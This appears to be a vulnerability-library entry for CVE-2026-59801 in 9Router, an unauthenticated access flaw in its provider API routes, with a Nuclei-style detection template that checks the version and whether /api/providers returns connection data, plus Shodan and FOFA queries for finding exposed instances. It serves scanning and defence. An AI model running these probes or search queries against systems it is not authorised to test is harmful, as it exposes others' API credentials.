/Vulnerability Library

9Router - Unauthenticated LLM Provider API Exposure

CVE-2026-59801
Verified

Description

9Router through version 0.4.41 contains an unauthenticated access vulnerability caused by missing authentication middleware in Next.js API routes under src/app/api/providers/*, letting remote attackers enumerate, create, modify, or delete provider connections, exploit requires no authentication.

Severity

Critical

Affected Product

9router

Published Date

July 15, 2026

Template Author

0x_akoko

CVE-2026-59801.yaml
id: CVE-2026-59801

info:
  name: 9Router - Unauthenticated LLM Provider API Exposure
  author: 0x_Akoko
  severity: critical
  description: |
   9Router through version 0.4.41 contains an unauthenticated access vulnerability caused by missing authentication middleware in Next.js API routes under src/app/api/providers/*, letting remote attackers enumerate, create, modify, or delete provider connections, exploit requires no authentication.
  impact: |
   Remote attackers can expose credentials, redirect traffic, or cause denial of service by deleting provider connections.
  remediation: |
   Update to the latest version that includes authentication middleware for API routes.
  reference:
    - https://github.com/decolua/9router/security/advisories/GHSA-vjc7-jrh9-9j86
    - https://nvd.nist.gov/vuln/detail/CVE-2026-59801
  metadata:
    verified: true
    max-request: 2
    product: 9router
    vendor: decolua
    shodan-query: port:20128 http.html:"9Router"
    fofa-query: port="20128" || title="9Router"
  tags: 9router,unauth,api-exposure,misconfig,api-key-leak

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "currentVersion")'
          - 'compare_versions(lsversion, ">=0.0.1", "<=0.4.41")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        internal: true
        group: 1
        regex:
          - '"currentVersion"\s*:\s*"([^"]+)"'

  - raw:
      - |
        GET /api/providers HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "authType", "provider", "connections")'
        condition: and
# digest: 490a00463044022006f0fed50c29d6ba9ddcb673702b7616c0b1b74dab30eb96b5c2e05f5178092d022020940a819186881ff030d085e9a6e18629af664546a645c2fd7f2d83d141592b:922c64590222798bb761d5b6d8e72950
9.5Severity

CVSS Metrics

References

https://github.com/decolua/9router/security/advisories/GHSA-vjc7-jrh9-9j86https://nvd.nist.gov/vuln/detail/CVE-2026-59801

Remediation Steps

Update to the latest version that includes authentication middleware for API routes.